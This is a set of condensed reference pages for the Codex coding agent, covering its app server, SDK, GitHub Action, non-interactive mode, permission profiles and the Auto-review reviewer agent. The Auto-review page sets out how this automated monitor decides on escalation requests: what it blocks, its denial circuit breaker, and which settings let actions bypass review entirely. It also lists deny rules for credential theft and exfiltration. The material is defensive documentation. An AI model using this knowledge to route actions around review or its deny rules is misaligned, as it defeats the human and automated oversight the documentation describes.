- Approvals: server-initiated requests `item/commandExecution/requestApproval` and `item/fileChange/requestApproval`; decisions `accept`, `acceptForSession`, `decline`, `cancel`, or `{ acceptWithExecpolicyAmendment: { execpolicy_amendment: [...] } }`; `serverRequest/resolved` confirms resolution. A `networkApprovalContext` (`host`, `protocol`) marks managed network access prompts; concurrent network prompts are grouped per host, protocol, and port. `item/permissions/requestApproval` (built-in `request_permissions`) is answered with the granted subset and `scope` `"session"` or `"turn"`. `tool/requestUserInput` carries `autoResolutionMs`. `mcpServer/elicitation/request` uses `mode` `form`, `openai/form`, or `url` and is answered with `accept` (+ `content`), `decline`, or `cancel`. Dynamic tool calls (`dynamicTools`, `item/tool/call`) are experimental. App tool calls with side effects can elicit approval; destructive annotations always trigger approval.
- Skills: invoke with `$<skill-name>` in text plus a `skill` input item (recommended so full instructions are injected). `skills/list` accepts `cwds`, `forceReload`, `perCwdExtraUserRoots` and reads `interface` and `dependencies` from `SKILL.json`; `skills/changed` is an invalidation signal.
- Apps (connectors): `app/installed` returns the committed runtime snapshot (`id`, `runtimeName`, effective `enabled`, `callable`); an app is callable only when configuration enables it and at least one model-visible tool complies with app and tool policies. Plugin summaries carry a `source` union (`local`, `git`, `npm`, `remote`).
- Auth: modes are `apikey`, `chatgpt` (Codex-managed OAuth, browser or `chatgptDeviceCode`), `chatgptAuthTokens` (experimental, host-supplied tokens), and Amazon Bedrock (`credentialSource` `codexManaged` | `awsManaged`; `authMode` `bedrockApiKey`); `account/updated.authMode` can also be `agentIdentity` or `personalAccessToken`. App-server authentication has never been permitted for commercial or hosted services; Sign in with ChatGPT is the recommended path.
- Detect and import external agent config: `externalAgentConfig/detect` (`includeHome`, `cwds`) and `externalAgentConfig/import` (explicit `migrationItems` with `cwd`, `null` for home; types include config, skills, `AGENTS.md`, plugins, MCP server config, subagents, hooks, commands, and sessions; progress via `externalAgentConfig/import/progress` and `/completed`).
- `configRequirements/read` returns the effective admin requirements from `requirements.toml` and/or MDM (`null` when none). `windowsSandbox/setupStart` takes `mode` `elevated` or `unelevated` and later emits `windowsSandbox/setupCompleted`.
- `codex mcp-server` has been removed in favor of app-server; adapt integrations to the JSON-RPC protocol instead of MCP tool calls. External MCP servers are still managed via `codex mcp`.
- This page is condensed; the official page contains full per-method request/response examples.
- Source: https://learn.chatgpt.com/docs/app-server (retrieved 2026-10).
## Related
- [Codex SDK](./codex-sdk.md)
- [Codex MCP server removal](./agents-sdk-mcp-server.md)
- [Agent approvals and security](./agent-approvals-security.md)
- [Sandbox](./sandbox.md)
references/security-automation/auto-review.md
# Auto-review
Replaces manual approval at the sandbox boundary with a separate reviewer agent. The main Codex agent still runs inside the same sandbox with the same approval policy and network/filesystem limits; only who reviews eligible escalation requests changes.
## Signature / Usage
```toml
approval_policy = "on-request"
approvals_reviewer = "auto_review"
[auto_review]
policy = """
YOUR POLICY GOES HERE
"""
```
## Options / Props
| Name | Type | Description |
|------|------|-------------|
| `approvals_reviewer` | `user` \| `auto_review` | Routes eligible approval requests to a reviewer agent instead of a human. Only applies when approvals are interactive (`on-request` or a granular policy that still surfaces the prompt); does nothing under `approval_policy = "never"`. |
| `[auto_review].policy` | string (TOML multiline) | Local override of the reviewer policy text; managed enterprise `guardian_policy_config` requirements take precedence. |
| `/approve` (TUI) | command | Opens the Auto-review Denials picker to approve one recently denied action for a single retry. |
| `--approve-for-me`, `--not-so-yolo` | CLI flag | Use automatic approval review with `on-request` approvals and the `workspace-write` sandbox. Conflicts with `--sandbox` and `--yolo`; the interactive CLI also rejects `--ask-for-approval`. |
| `[auto_review].extra_policy` | string | Additional local Markdown policy alongside the main policy; managed `guardian_extra_policy` takes precedence. |
| `guardian_policy_config` / `guardian_extra_policy` | managed string | Managed reviewer policy / extra policy in `requirements.toml`. |
| `allowed_approvals_reviewers`, `allowed_approval_policies`, `allowed_sandbox_modes`, `allowed_permission_profiles` | managed requirements | Constrain the reviewer, approval policy, sandbox modes, and permission profiles for an engagement. |
## Notes
- Selecting automatic review: in the desktop app choose **Approve for me** from the permissions control below the composer. For the CLI or local config, set `approvals_reviewer = "auto_review"` with an eligible interactive policy such as `approval_policy = "on-request"` (changing the policy alone doesn't select the reviewer). Managed requirements take precedence over local settings. In the desktop app, selecting an approved Daybreak model (also via `/model`) automatically switches the permissions control to **Approve for me** when available and allowed by policy; model selection never overrides managed requirements. Before enabling **Full Access** for an approved security model, the app shows a model-specific warning recommending **Approve for me**; it doesn't restore the sandbox boundary or override policy.
- Flow: the main agent works inside `read-only` or `workspace-write`, requests approval to cross the boundary, a separate reviewer agent decides and returns a rationale; if approved execution continues, if denied the main agent must find a materially safer path or stop and ask. Auto-review is a reviewer swap, not a permission grant: it doesn't expand `writable_roots`, enable network access, or weaken protected paths.
- `/approve` override: Codex records up to 10 recent denials per task; approval applies to the exact denied action for one retry in the same context, and the retry still goes through Auto-review (it can deny again if policy forbids overriding that class of denial). Timeouts are surfaced separately from denials and aren't proof an action is unsafe.
- Reviewer: a Codex agent with a narrower job; it can also perform read-only checks to gather context, rarely. Policy sources: `policy_template.md` and `policy.md` under `codex-rs/core/src/guardian/` in `openai/codex`. To customize, copy the whole default policy wording first, then iterate.
- Authorized cybersecurity engagement: combine automatic review with a written engagement scope and a least-privilege permission profile. Both `[auto_review].policy` and `guardian_policy_config` replace (don't merge with) the current reviewer policy; built-in review instructions and response format still apply. Copy the complete current policy, keep every existing rule, and append sections such as `## Environment Profile` (authorized target, approved actions) and `## Tenant Risk Taxonomy and Allow/Deny Rules` (allow only approved actions against the documented target; deny out-of-scope hosts, production access, credential theft, persistence, data exfiltration, destructive operations, policy bypass, and ambiguous/high-impact actions until explicitly approved). If you can't access the current policy, don't override it. Enforce target restrictions with independent filesystem and network rules. Managed example: `allowed_approval_policies = ["on-request"]`, `allowed_approvals_reviewers = ["auto_review"]`, `allowed_sandbox_modes = ["read-only", "workspace-write"]`, `default_permissions = ":workspace"`, `guardian_policy_config = """..."""`, and `[allowed_permission_profiles] ":read-only" = true, ":workspace" = true` (`:danger-full-access` omitted = denied). With `approval_policy = "never"`, `:danger-full-access`, or `--yolo`, an action can avoid creating the boundary-crossing approval request review requires. A network destination on the allowlist doesn't trigger review by itself; add command rules with `decision = "prompt"` or require approval on sensitive MCP tools when in-sandbox actions must reach the reviewer.
- Reduce review volume without weakening security: fix the boundary first. Add narrow `writable_roots` for scratch directories or neighboring repos, and narrow prefix rules (`["cargo", "test"]`, `["pnpm", "run", "lint"]` rather than `["python"]` / `["curl"]`).
- Limits: it only evaluates eligible approval requests (including those triggered by explicit command rules or tool approval settings), can still make mistakes in adversarial or unusual contexts, and complements, not replaces, good sandbox design, monitoring, and organization-specific policy.
- Triggers on: shell/exec calls requesting escalated sandbox permissions, network requests blocked by policy, file edits outside writable roots, MCP/app tool calls requiring approval, and Computer Use access to a new domain. Does not run for actions already allowed inside the sandbox. Computer Use app approvals still surface directly to the user.
- Blocks (at a high level): sending private data/secrets/credentials to untrusted destinations, credential probing, broad/persistent security weakening, and destructive irreversible actions. Low/medium risk actions may proceed per policy; critical risk is always denied; high risk requires user authorization and no matching deny rule. Prompt-build, review-session, and parse failures fail closed.
- Denials are stronger than ordinary sandbox errors: the main agent is instructed not to pursue the same outcome via workaround and to find a materially safer path or stop and ask the user.
- Rejection circuit breaker: interrupts the turn after 3 consecutive denials or 10 denials within the last 50 reviews in that turn; any non-denial resets the consecutive counter.
- The reviewer sees a compact transcript plus the exact approval request (user messages, surfaced updates, relevant tool calls/outputs) — not hidden assistant chain-of-thought.
- Default policy source: `codex-rs/core/src/guardian/policy.md` (and `policy_template.md`) in the `openai/codex` repo. Enterprises replace its tenant-specific section via `guardian_policy_config`; per-user `[auto_review].policy` is supported but managed requirements win.
- Session transcripts are retained under `~/.codex/sessions` by default.
- Not a deterministic security guarantee — complements, not replaces, sandbox design and monitoring.
## Related
- [Agent approvals & security](./agent-approvals-security.md)
- [Sandbox](./sandbox.md)
references/security-automation/codex-sdk.md
# Codex SDK
Programmatic control of local Codex threads from TypeScript or Python, for CI/CD pipelines, custom agents, embedding Codex in internal tools and workflows, or integrating Codex within your own application.
## Signature / Usage
```python
from openai_codex import Codex, Sandbox
with Codex() as codex:
thread = codex.thread_start(
model="gpt-6.1-sol",
sandbox=Sandbox.workspace_write,
)
result = thread.run("Make a plan to diagnose and fix the CI failures")
print(result.final_response)
```
```ts
import { Codex } from "@openai/codex-sdk";
const codex = new Codex();
const thread = codex.startThread();
const result = await thread.run(
"Make a plan to diagnose and fix the CI failures"
);
console.log(result.finalResponse);
// running the same thread
const result1 = await thread.run("Implement the plan");
// resuming a past thread
const threadId = "<thread-id>";
const thread2 = codex.resumeThread(threadId);
const result2 = await thread2.run("Pick up where you left off");
```
```ts
// Configuration overrides
const codex = new Codex({
config: { default_permissions: "audit" },
configOverrides: [
'permissions.audit.filesystem={":root"="read","/path/to/project/.env"="deny"}',
],
});
```
## Options / Props
| Name | Type | Description |
|------|------|-------------|
| `npm install @openai/codex-sdk` | package | TypeScript library; server-side use only, requires Node.js 18 or later. |
| `pip install openai-codex` | package | Python library controlling the local Codex app-server over JSON-RPC; requires Python 3.10 or later. Stable release; `pip install --pre openai-codex` opts in to newer prerelease builds. |
| `codex.startThread()` / `codex.resumeThread(threadId)` | TS methods | Start a new thread or resume a past one by ID. |
| `thread.run(prompt)` | TS/Python method | Runs a prompt on a thread; call again to continue the same thread. |
| `config` / `configOverrides` | TS constructor options | `config` sets structured Codex configuration; `configOverrides` passes raw TOML strings as separate `--config` arguments for keys that can't be expressed as dotted paths. |
| `Sandbox.read_only` / `.workspace_write` / `.full_access` | Python enum (presets) | Read files without writes / read plus write inside the workspace and configured writable roots / no filesystem restrictions. For `thread_start(sandbox=...)` or a later `run(...)`/`turn(...)` call; a sandbox passed to `run`/`turn` applies to that turn and later turns on the thread. |
| `AsyncCodex` | Python class | Async variant of `Codex` (`async with AsyncCodex() as codex`) for applications already running asyncio. |
| `CodexConfig(codex_bin=...)` | Python config | Runs against a specific local Codex executable instead of the SDK's pinned runtime dependency (only needed intentionally). |
## Notes
- Use the SDK to automate coding tasks, including jobs in CI. Use the Codex app server to build custom clients that handle authentication, conversation history, approvals, and streamed agent events (see app-server.md).
- The `codex mcp-server` command and standalone `codex-mcp-server` binary have been removed; use the Codex app server for existing integrations (see agents-sdk-mcp-server.md for the migration page).
- The Python example uses GPT-6.1 Sol, which must be available to your signed-in account; otherwise omit `model` to use your configured default.
- Omitting `sandbox=` lets app-server use its configured default. Published SDK builds include a pinned Codex CLI runtime dependency and use it automatically.
- TypeScript raw `configOverrides` take precedence over structured `config`; the SDK applies managed settings such as `baseUrl` and thread-specific options afterward, so they take precedence over both. These overrides don't change your Codex configuration files.
- A separate Codex Security TypeScript SDK (beta access) exists for repository/change scans with structured security findings and coverage — not the same product as this coding-agent SDK.
## Related
- [Codex app server](./app-server.md)
- [Codex MCP server removal](./agents-sdk-mcp-server.md)
- [Non-interactive mode](./non-interactive-mode.md)
references/security-automation/github-action.md
# Codex GitHub Action
`openai/codex-action@v1` runs Codex in CI/CD jobs, applies patches, or posts reviews from a GitHub Actions workflow. Installs the Codex CLI, starts a Responses API proxy for the provided key, and runs `codex exec` under the permissions you specify.
## Signature / Usage
```yaml
- name: Run Codex
id: run_codex
uses: openai/codex-action@v1
with:
openai-api-key: ${{ secrets.OPENAI_API_KEY }}
prompt-file: .github/codex/prompts/review.md
output-file: codex-output.md
```
## Options / Props
| Name | Type | Description |
|------|------|-------------|
| `prompt` / `prompt-file` | string (choose one) | Inline instructions or a repo path (e.g. `.github/codex/prompts/`) to the task text. |
| `codex-args` | JSON array or shell string | Extra `codex exec` flags, e.g. `["--ephemeral"]` or `--profile ci`. |
| `model` / `effort` | string | Overrides the Codex agent configuration; empty for defaults. |
| `sandbox` | `workspace-write` \| `read-only` \| `danger-full-access` | Sandbox mode matched to the permissions the run needs. |
| `output-file` | string | Path to save the final Codex message for later steps/artifacts. |
| `codex-version` | string | Pins a specific CLI release; blank uses the latest published version. |
| `codex-home` | string | Shared Codex home directory to reuse config/MCP setups across steps. |
| `safety-strategy` | `drop-sudo` (default) \| `unprivileged-user` \| `unsafe` | Removes `sudo` before running Codex (irreversible for the job); Windows runners require `unsafe`. |
| `unprivileged-user` / `codex-user` | boolean / string | Pairs with `safety-strategy: unprivileged-user` to run Codex as a specific account. |
| `read-only` | boolean | Blocks file/network changes but still runs with elevated privileges — not sufficient alone to protect secrets. |
| `allow-users` / `allow-bots` | string | Restricts who can trigger the workflow; default is write-access collaborators only. |
## Notes
- Prerequisites: store the OpenAI key as a GitHub secret (e.g. `OPENAI_API_KEY`); use a Linux or macOS runner (Windows needs `safety-strategy: unsafe`); check out the code before invoking the action; choose `prompt` or `prompt-file`.
- Emits the last Codex message via the `final-message` output; map it to a job output (e.g. `final_message: ${{ steps.run_codex.outputs.final-message }}`) or a later step. `output-file` saves only the final Codex message; upload it as an artifact to keep it after the job (the official page phrases this as collecting the full transcript, but the file contains only the final message). To capture every event, use the JSONL event stream from `codex exec --json` (see Non-interactive mode). For structured data pass `--output-schema` through `codex-args` to enforce a JSON shape.
- Sample workflow: a `codex` job (`contents: read`, checkout `refs/pull/<n>/merge`, `fetch-depth: 0`, `persist-credentials: false`) runs the action with `prompt-file: .github/codex/prompts/review.md` and `output-file: codex-output.md`; a `post_feedback` job (`issues: write`, `pull-requests: write`) posts the final message via `actions/github-script@v7` (`github.rest.issues.createComment`).
- Manage privileges: `safety-strategy` `drop-sudo` (default) removes `sudo` irreversibly for the job and protects secrets in memory; `unprivileged-user` pairs with `codex-user` (ensure that user can read and write the checkout); `read-only` still runs with elevated privileges; `sandbox` limits filesystem and network access within Codex (choose the narrowest option); `allow-users` / `allow-bots` restrict triggers (default: write-access users only).
- Troubleshooting: setting both `prompt` and `prompt-file` is an error (provide exactly one); "responses-api-proxy didn't write server info" means the API key is missing or invalid (the proxy starts only when `openai-api-key` is provided); if `sudo` unexpectedly succeeded, ensure no earlier step restored it and the runner is Linux or macOS; permission errors after `drop-sudo` need write access granted first (e.g. `chmod -R g+rwX "$GITHUB_WORKSPACE"` or the unprivileged-user pattern); "Unauthorized trigger blocked" means adjusting `allow-users` / `allow-bots`.
- Security checklist: limit who can start the workflow, sanitize prompt inputs from PR/issue/commit text (prompt injection), keep `safety-strategy` on `drop-sudo` or an unprivileged user, run Codex as the last step in a job, and rotate keys if proxy logs or output might have exposed secrets.
- Typical CI-autofix pattern: a read-only job (`contents: read`) runs Codex and uploads only the diff as a patch artifact (no repo write, no `OPENAI_API_KEY` in the second job); a separate job with `contents: write` / `pull-requests: write` applies the patch and opens the PR.
## Related
- [Non-interactive mode](./non-interactive-mode.md)
- [Codex SDK](./codex-sdk.md)
references/security-automation/non-interactive-mode.md
# Non-interactive mode (`codex exec`)
Runs Codex from scripts (CI jobs, pipelines) without opening the interactive TUI. Streams progress to `stderr` and prints only the final agent message to `stdout`.
## Signature / Usage
```bash
codex exec "summarize the repository structure and list the top 5 risky areas"
# Explicit sandbox/permissions for automation
codex exec --sandbox workspace-write "<task>"
# Machine-readable JSON Lines output
codex exec --json "summarize the repo structure" | jq
# Structured output via JSON Schema
codex exec "Extract project metadata" --output-schema ./schema.json -o ./project-metadata.json
# Resume a previous non-interactive session
codex exec resume --last "fix the race conditions you found"
```
## Options / Props
| Name | Type | Description |
|------|------|-------------|
| `--sandbox workspace-write` \| `read-only` (default) \| `danger-full-access` | flag | Sets least-privilege permissions for the automation task; `danger-full-access` only in a controlled runner/container. |
| `--ephemeral` | flag | Doesn't persist session rollout files to disk. |
| `--json` | flag | Emits a JSONL event stream on `stdout` (`thread.started`, `turn.started`, `turn.completed`, `turn.failed`, `item.*`, `error`). |
| `-o, --output-last-message <path>` | flag | Writes the final message to a file (still also printed to `stdout`). |
| `--output-schema <file>` | flag | Requests a final response conforming to a JSON Schema — useful for stable downstream fields. |
| `--ignore-user-config` | flag | Skips loading `$CODEX_HOME/config.toml`. |
| `--ignore-rules` | flag | Skips user/project execpolicy `.rules` files. |
| `--skip-git-repo-check` | flag | Overrides the requirement that `codex exec` run inside a Git repository. |
| `CODEX_API_KEY` | env var | API key for a single invocation; usable with `codex exec`, `codex review`, the TypeScript SDK, and `codex exec-server --remote` (not the interactive CLI). |
| `--approve-for-me` | flag | Routes approval requests through automatic review with the workspace-write sandbox. |
| `codex exec resume [--last \| <SESSION_ID>]` | subcommand | Continues a previous non-interactive session (for two-stage pipelines). |
## Notes
- If stdin is piped and a prompt argument is also given, the prompt is the instruction and piped content is additional context (`prompt-plus-stdin`). Use `codex exec -` to force stdin to become the entire prompt instead.
- `--full-auto` is no longer supported. Update scripts to use `--sandbox workspace-write`, or use `--approve-for-me` to route approval requests through automatic review with the workspace-write sandbox.
- `codex exec` runs in a read-only sandbox by default and streams progress to `stderr` while printing only the final agent message to `stdout` (e.g. `codex exec "..." | tee release-notes.md`). `--ephemeral` avoids persisting rollout files.
- `--ignore-user-config` skips `$CODEX_HOME/config.toml`; `--ignore-rules` skips user and project execpolicy `.rules` files, for a controlled automation environment.
- `--json` items include agent messages, reasoning, command executions, file changes, MCP tool calls, web searches, and plan updates; `turn.completed` carries `usage` (`input_tokens`, `cached_input_tokens`, `output_tokens`, `reasoning_output_tokens`). `-o` writes the final message to a file and still prints it to `stdout`.
- Authenticate in automation: `codex exec` reuses saved CLI authentication by default. In GitHub Actions use the Codex GitHub Action (installs Codex, starts a Responses API proxy, runs with a configurable safety strategy). Elsewhere set `CODEX_API_KEY` only for the invocation that needs it (`CODEX_API_KEY=<api-key> codex exec --json "triage open bug reports"`) and make sure no untrusted code runs in the same process environment. ChatGPT-managed auth in CI/CD is an advanced path: treat `~/.codex/auth.json` like a password, don't use it for public or open-source repositories, and see "Maintain Codex account auth in CI/CD (advanced)" in the auth docs.
- Common automation pattern, autofix CI failures: trigger a follow-up workflow (`workflow_run`) when the main CI workflow fails; check out the failing commit with `contents: read` only (`persist-credentials: false`); run setup before Codex without exposing the API key; run `openai/codex-action@v1` with `openai-api-key: ${{ secrets.OPENAI_API_KEY }}` and a prompt; save local changes as a patch artifact (`git add -N .` then `git diff --binary HEAD > codex.patch`); in a separate `open_pr` job with `contents: write` and `pull-requests: write` (and no API key), `git apply --index codex.patch`, push `codex/auto-fix-$RUN_ID`, and `gh pr create`.
- Advanced stdin piping: prompt-plus-stdin (you write the instruction, piped output is context) e.g. `npm test 2>&1 | codex exec "summarize the failing tests and propose the smallest likely fix" | tee test-summary.md`; further examples: summarize logs (`tail -n 200 app.log | codex exec "..."`), inspect TLS or HTTP issues (`curl -vv https://api.example.com/health 2>&1 | codex exec "..."`), prepare a Slack-ready update and draft a pull request comment from CI logs (`gh run view 123456 --log | codex exec "..." | gh pr comment 789 --body-file -`). `codex exec -` makes stdin the entire prompt (`cat prompt.txt | codex exec -`, `generate_prompt.sh | codex exec - --json > result.jsonl`); omitting the prompt argument also reads the prompt from stdin.
- If an enabled MCP server has `required = true` and fails to initialize, `codex exec` exits with an error instead of continuing.
- Do not set `OPENAI_API_KEY`/`CODEX_API_KEY` as a job-level environment variable in workflows that check out or run repository-controlled code — build scripts, tests, or a compromised action in the same job can read it. For GitHub Actions, prefer the Codex GitHub Action, which proxies the key instead of exposing it to shell steps.
- Codex requires running inside a Git repository by default (safety check against destructive changes).
## Related
- [Codex GitHub Action](./github-action.md)
- [Agent approvals & security](./agent-approvals-security.md)
- [Codex SDK](./codex-sdk.md)
references/security-automation/permission-modes.md
# Permissions
Permissions control how ChatGPT (in the desktop app) and Codex (in the CLI or IDE) handle local actions, such as editing files, running commands, and using the internet. The mode you choose sets the boundary for what can happen on its own and what needs review.
## Signature / Usage
Use the permissions control below the composer in the ChatGPT desktop app or IDE extension, or run `/permissions` in the CLI.
## Options / Props
| Name | Description |
|------|-------------|
| Ask for approval | Recommended starting point. Works within the current workspace and pauses before reaching beyond that boundary. |
| Approve for me | Sends eligible approval requests to automatic review (called Auto-review elsewhere). Keeps the same workspace boundary as "Ask for approval". Check that it's selected for the current chat; having it available doesn't mean it's selected. |
| Full access | Removes the workspace boundary. |
## Notes
- Two controls work together: the **sandbox** defines which files and network resources can be accessed, and **approvals** determine when the client pauses before an action or sends the request to automatic review. Changing who reviews a request (e.g. Approve for me) doesn't expand the sandbox.
- Available modes depend on your app version, execution environment, local configuration, and your organization's requirements. A mode can be disabled or omitted when unavailable, and managed requirements can also restrict Ask for approval. If **Approve for me** is missing or disabled, see the permission troubleshooting section of the reference troubleshooting page.
- This page describes the product-level mode selector (desktop app, CLI, IDE). For the underlying config keys, see [Sandbox](./sandbox.md) and [Permission profiles](./permission-profiles.md) (`default_permissions`, `[permissions.<name>]`, `approval_policy`, `sandbox_mode`) and [Auto-review](./auto-review.md).
## Related
- [Sandbox](./sandbox.md)
- [Permission profiles](./permission-profiles.md)
- [Auto-review](./auto-review.md)
- [Agent approvals & security](./agent-approvals-security.md)
references/security-automation/permission-profiles.md
# Permission profiles
Beta. Named policies that combine filesystem rules (what commands can read/write) with network rules (which destinations commands can reach), applying least-privilege boundaries to local commands Codex runs on your behalf.
## Signature / Usage
```toml
default_permissions = "project-edit"
[permissions.project-edit]
extends = ":workspace"
[permissions.project-edit.workspace_roots]
"~/code/app" = true
[permissions.project-edit.filesystem.":workspace_roots"]
"." = "write"
".devcontainer" = "read"
"**/*.env" = "deny"
[permissions.project-edit.network]
enabled = true
[permissions.project-edit.network.domains]
"api.openai.com" = "allow"
"*.github.com" = "allow"
```
## Options / Props
| Name | Type | Description |
|------|------|-------------|
| `:read-only` | built-in profile | Keeps local command execution read-only. |
| `:workspace` | built-in profile | Allows writes inside active workspace roots and system temp directories; keeps `.codex`/`.git`/`.agents` read-only. |
| `:danger-full-access` | built-in profile | Removes local sandbox restrictions. Cannot be used as an `extends` parent. |
| `default_permissions` | string | Selects the active profile by name or built-in. |
| `[permissions.<name>]` | table | Defines a named profile; `extends` starts it from `:read-only`, `:workspace`, or another named profile (not `:danger-full-access`; no unknown parents or cycles). |
| `[permissions.<name>.workspace_roots]` | table | Adds concrete directories treated as workspace roots for the profile. |
| `[permissions.<name>.filesystem]` | table of path → `read`\|`write`\|`deny` | Filesystem access rules. `deny` beats `write` beats `read` at equal specificity; a more specific path can reopen a narrower subtree inside a broader `deny`. |
| `[permissions.<name>.network]` | table | `enabled` (bool), `domains` (host pattern → `allow`\|`deny`), `unix_sockets`, `proxy_url`, `enable_socks5`, `allow_local_binding`, and `dangerously_*` escape hatches. |
## Notes
- Supported filesystem path forms: `:root` (filesystem root), `:minimal` (platform/runtime paths common tools need), `:workspace_roots` (session + profile-defined roots, supports scoped subpaths), `:tmpdir`, `:slash_tmp`, absolute paths, and `~/path`.
- Network domain patterns: exact host, `*.example.com` (subdomains only), `**.example.com` (apex + subdomains), `*` (allow-only global wildcard). `deny` always overrides `allow`.
- **Permission profiles do not compose with the older sandbox settings.** Configure either `default_permissions` + `[permissions]`, or `sandbox_mode` / `sandbox_workspace_write`, but not both. If `sandbox_mode` appears in any loaded config file, `--sandbox` is passed, or the selected profile sets `sandbox_mode`, Codex uses the older sandbox settings instead (see `sandbox.md` / `agent-approvals-security.md`). Managed `allowed_permission_profiles` is the exception — it forces the profile system; remove `sandbox_mode` / `[sandbox_workspace_write]` before deploying it. Full backward-compat requires every client on Codex 0.138.0 or later.
- Extend a profile: prefer extending a built-in (e.g. `extends = ":workspace"` keeps the workspace root's `.git`, `.agents`, `.codex`, and `.aws` read-only unless overridden) over starting from scratch. A profile can extend `:read-only`, `:workspace`, or another named profile; `description` isn't inherited. Example:
```toml
default_permissions = "project-edit"
[features]
network_proxy = true
[permissions.project-edit]
description = "Project editing with OpenAI API access."
extends = ":workspace"
[permissions.project-edit.filesystem]
glob_scan_max_depth = 3
[permissions.project-edit.filesystem.":workspace_roots"]
"**/*.env" = "deny"
[permissions.project-edit.network]
enabled = true
[permissions.project-edit.network.domains]
"api.openai.com" = "allow"
```
- Config layers: higher-precedence layers can add or replace entries under the same profile name without restating it (e.g. `/etc/codex/config.toml` and `~/.codex/config.toml` can each add `[permissions.server.workspace_roots]` entries and both participate). Once managed `allowed_permission_profiles` is present, omitted profiles are denied, including built-ins and future profiles. For a mixed-version enterprise rollout, keep managed `allowed_sandbox_modes` as a temporary compatibility constraint until every client runs 0.138.0 or later.
- Configuration spec details: `workspace_roots."<path>"` defaults `false` (inactive); a missing or empty `filesystem` table keeps filesystem access restricted and emits a startup warning; direct write rules the runtime can't enforce are rejected; scoped subpaths (`"<path>"."<subpath>"`) use `.` for the base and must be relative descendants without `.` or `..` components, and parent traversal such as `../other-repo` under `:workspace_roots` is rejected. Network defaults: `enabled` `false`, `proxy_url` `http://127.0.0.1:3128` (used for `HTTP_PROXY`, `HTTPS_PROXY`, WebSocket proxy and related tool proxy variables), `enable_socks5` `true` (`ALL_PROXY` and FTP proxy variables), `socks_url` `http://127.0.0.1:8081`, `enable_socks5_udp` `true`, `allow_upstream_proxy` `true` (respects upstream `HTTP(S)_PROXY` / `ALL_PROXY`), `allow_local_binding` `false`. Domain patterns are normalized (trim, lowercase, strip trailing dot, strip ports/brackets); the active proxy blocks everything if there are no `allow` entries.
- Filesystem access values: `read` (read files, list directories), `write` (read and modify, including create/rename/delete when the OS allows), `deny` (denies both). More specific entries override broader ones and a narrower path can reopen a subtree inside a broader deny (e.g. `"~/Documents" = "deny"` with `"~/Documents/codex" = "write"`). `:root` is for intentionally broad read coverage; `:tmpdir` / `:slash_tmp` are `.`-only scoped. On native Windows, drive-letter (`D:\work`) and UNC (`\\server\share`) paths and `~\work` are supported.
- Deny-read globs: a glob under `:workspace_roots` is interpreted relative to each effective workspace root. On Linux, WSL, and native Windows with MXC or `elevated`, matches are enumerated when each sandboxed process starts; files created later remain readable to an already-running process (shell, watcher, dev server), so don't rely on a glob to block newly created files there. `deny` globs are supported as deny-read rules; `read`/`write` globs are less portable (prefer exact paths or subtree rules like `"docs/**" = "read"`). An unbounded `**` deny pattern needs `glob_scan_max_depth` (at least `1`), or list explicit depths such as `*.env`, `*/*.env`, `*/*/*.env`.
- Network behavior: network off = no access regardless of the proxy; network on + proxy off = direct, unrestricted access (domain rules not enforced); network on + proxy on = proxy enforces domain rules (no allowed domains = external destinations blocked). Adding `domains` or `enabled = true` doesn't enable `features.network_proxy`; administrators can enable the proxy with `[experimental_network]` in `requirements.toml`. Local/private guard: allowlist exact `localhost` / `127.0.0.1` for one literal local target, or set `allow_local_binding = true` only when allowlisted hostnames resolve to local/private addresses. Unix sockets (e.g. `"/var/run/docker.sock" = "allow"`) are a local escape hatch; `deny` rejects a path including an inherited allow, and listeners should stay loopback-bound.
- What profiles control: sandboxed local command execution only (connectors, MCP servers, browser / computer-use surfaces, Codex cloud environment settings, and approved escalations use their own controls). The network proxy doesn't filter web search (`web_search`, `allowed_web_search_modes`; `tools.web_search.allowed_domains` filters search results only), apps and connectors, MCP servers, browser and Computer Use, Codex service traffic (client HTTP / system-proxy settings), or Codex Cloud (its own network settings; Codex Cloud (Legacy) has internet access settings). Treat writes to scripts, build steps, package manager hooks, shell startup files, and shared directories as sensitive. Choose the narrowest profile that completes the task. Don't assume Work Cloud supports these profiles.
- Migrate from older sandbox settings: for read-only use `:read-only` (or a custom profile with read access only where needed); for workspace editing use `:workspace` (or a custom profile writing through `:workspace_roots`); for unrestricted local execution use `:danger-full-access` only intentionally. Organization-managed requirements can add restrictions that user config shouldn't broaden.
- Common profiles: read-only with network allowlist (`readonly-net`: `:minimal` read, `:workspace_roots` `"."` read, network enabled with `api.openai.com` allowed, `network_proxy = true`); file access limited to workspace (`workspace-only`: `extends = ":workspace"`, `":root" = "deny"`, `":minimal" = "read"`, optionally `":tmpdir"` / `":slash_tmp"` `deny`); workspace write without network (`project-edit` with `network.enabled = false`); workspace write with public web access (`workspace-net`: `network_proxy = true`, `"*" = "allow"` — use the global `*` only when public access is intended; deny rules can narrow it).
- Enforcement differs by OS: macOS Seatbelt refuses to run a command instead of running it unsandboxed if the policy can't be enforced; Linux/WSL use bubblewrap + seccomp (the legacy Landlock option can't isolate app-server Unix sockets and is rejected for filesystem-restricted policies; disable `features.use_legacy_landlock` when upgrading; hosts that block the required bubblewrap operations can't run these policies); native Windows uses MXC (process isolation for filesystem and network permissions; review compatibility before enabling) with the legacy `elevated` fallback (dedicated lower-privilege sandbox users, filesystem permission boundaries, firewall rules) or the weaker legacy `unelevated` fallback (weaker network isolation; can't enforce every split read/write carveout, so unsupported policies are refused). Use WSL for the Linux sandbox model.
- `features.network_proxy = true` is needed for profile domain rules to be enforced. `network.enabled` allows command network access but does not start the proxy. Additional network keys: `socks_url`, `enable_socks5_udp`, `allow_upstream_proxy`; `dangerously_allow_non_loopback_proxy` and `dangerously_allow_all_unix_sockets` are escape hatches not meant for ordinary development.
- `glob_scan_max_depth` (at least 1) limits deny-read glob pre-expansion on Linux, WSL, and native Windows. `default_permissions` may be omitted under managed requirements only if both `:workspace` and `:read-only` are explicitly allowed.
- Config detail beyond the profile-shaping keys above (the full `permissions.<name>.network.*` listener/proxy spec, `glob_scan_max_depth`, etc.) is `config.toml` key reference material — see the config category for the exhaustive table.
- Local permission profiles are supported on macOS, Linux, WSL, and native Windows.
## Related
- [Agent approvals & security](./agent-approvals-security.md)
- [Sandbox](./sandbox.md)
references/security-automation/README.md
# Security & Automation
| Name | Description | Path |
| --- | --- | --- |
| Agent approvals & security | Sandbox mode + approval policy model, retired `untrusted` migration, safety monitoring, network isolation, auto-review integration, OS enforcement, Dev Containers, telemetry | [agent-approvals-security.md](./agent-approvals-security.md) |
| Sandbox | Core sandbox concept and modes (`read-only`/`workspace-write`/`danger-full-access`), approval policies, per-OS prerequisites | [sandbox.md](./sandbox.md) |
